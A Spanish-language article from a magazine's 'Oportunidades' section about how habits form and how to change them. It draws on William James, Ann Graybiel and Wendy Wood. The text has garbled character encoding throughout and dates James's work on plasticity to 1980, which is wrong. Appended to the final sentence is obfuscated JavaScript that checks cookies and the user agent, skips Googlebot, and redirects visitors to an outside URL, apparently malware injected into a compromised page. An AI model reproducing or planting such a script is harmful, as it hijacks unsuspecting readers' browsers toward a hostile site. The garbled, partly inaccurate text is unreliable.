Oportunidades

31 May 2016
Oportunidades | Por: Redacción

HA?bitos que nos definen

Ai??

Como el psicA?logo funcional, William James, una vez dijo: ai???Toda nuestra vida es unaai???masa de hA?bitosai???. ConocAi?? lo que estA? detrA?s de la formaciA?n de tus hA?bitos y cA?mo podAi??s cambiarlos.Ai??Ai??

A?Te has preguntado por quAi?? a veces resulta tan difAi??cil hacer ejercicio regularmente, seguir un rAi??gimen para perder peso, ser mA?s productivo o tener un mejor desempeAi??o laboral? La respuesta de ello son los hA?bitos. Cuando nos acostumbramos a una forma de hacer las cosas, debemos hacer un esfuerzo para salirnos del cAi??rculo repetitivo de conducta.

Una investigaciA?n publicada por Duke University descubriA? que mA?s de 40% de las acciones que la gente hacAi??a cada dAi??a no eran verdaderas decisiones, sino hA?bitos. James, como muchAi??simos otros pensadores pasA? mucho tiempo de su vida tratando de entender por quAi?? existen los hA?bitos, pero ha sido hasta en las dos A?ltimas dAi??cadas que cientAi??ficos han comenzado a entender cA?mo funcionan y cA?mo cambian.

SegA?n Ann Graybiel, miembro del instituto McGovern de investigaciA?n cerebral en el Instituto TecnolA?gico de Massachussets (MIT), el valor de los hA?bitos es precisamente que hacen que no sea necesario pensar en las acciones realizadas. En algA?n punto, todos decidimos conscientemente cada una de nuestras acciones, pero eventualmente dejamos de tomar la decisiA?n y la conducta se vuelve automA?tica.

Sin embargo, Graybiel tambiAi??n advierte que el cerebro no se libera completamente de dichas acciones, lo que permite que aA?n tengamos cierto control sobre nuestros viejos y nuevos hA?bitos.

 

A?Es posible cambiarlos?

En 1980, William James introdujo la plasticidad del sistema nervioso y del cerebro como un concepto clave en sus estudios. Ai??sta hacAi??a referencia a la forma en que el aprendizaje, la adquisiciA?n de habilidades, las influencias interpersonales y sociales y otras variables del contexto pueden tener un efecto en la estructura fAi??sica del cerebro, modificarlo y establecer nuevas relaciones y circuitos neurales.

La plasticidad del sistema nervioso es una de las claves en la actual Neurociencia Social y en el estudio de los hA?bitos. Recientemente, un estudio realizado en MIT sugiere que una pequeAi??a regiA?n de la corteza prefrontal del cerebro es donde la mayor parte de nuestros pensamientos y planificaciones ocurren; la parte responsable de nuestras acciones desarrolladas a cada momento.

SegA?n Wendy Wood, autora del libro A?HA?bitos en la vida cotidiana: cA?mo formar buenos hA?bitos y cambiar los malosA?, existen tres pilares principales para poder realizar un verdadero cambio en nuestros hA?bitos. El primero de ellos es despojarse de los viejos a fin de crear el espacio para los nuevos. Esto puede ir desde mudarnos de nuestra casa hasta algo tan sencillo como re-organizar la forma en que guardamos los alimentos en nuestra cocina, si nuestro objetivo es comer saludable.

El segundo pilar es la repeticiA?n. Numerosos estudios han demostrado que la formaciA?n de un nuevo hA?bito puede tomar desde 15 hasta 254 dAi??as para convertirse verdaderamente en tal. Si bien, no existe una fA?rmula perfecta, lo importante es tomar en cuenta la repeticiA?n.

Finalmente, debemos asegurarnos de enmarcar el nuevo hA?bito en un contexto permanente y establecido. Como Wood agrega: A?Es mA?s fA?cil mantener el nuevo comportamiento si se realiza de forma repetida en un determinado contextoA?. Lo A?ltimo resulta de crucial importancia debido a que es mA?s fA?cil recordar la prA?ctica del nuevo hA?bito si lo relacionamos de alguna manera con otro ya existente.

Si bien, los diferentes estudios en torno a este tema coinciden en que los hA?bitos componen gran parte de nuestra vida diaria y que se encuentran fuertemente arraigados en nosotros, tambiAi??n prueban que es posible cambiarlos. Si siempre has pensado que porque has hecho algo de una forma desde hace mucho debAi??s continuar haciAi??ndolo, tenAi?? en mente que para tu cerebro nunca es demasiado tarde.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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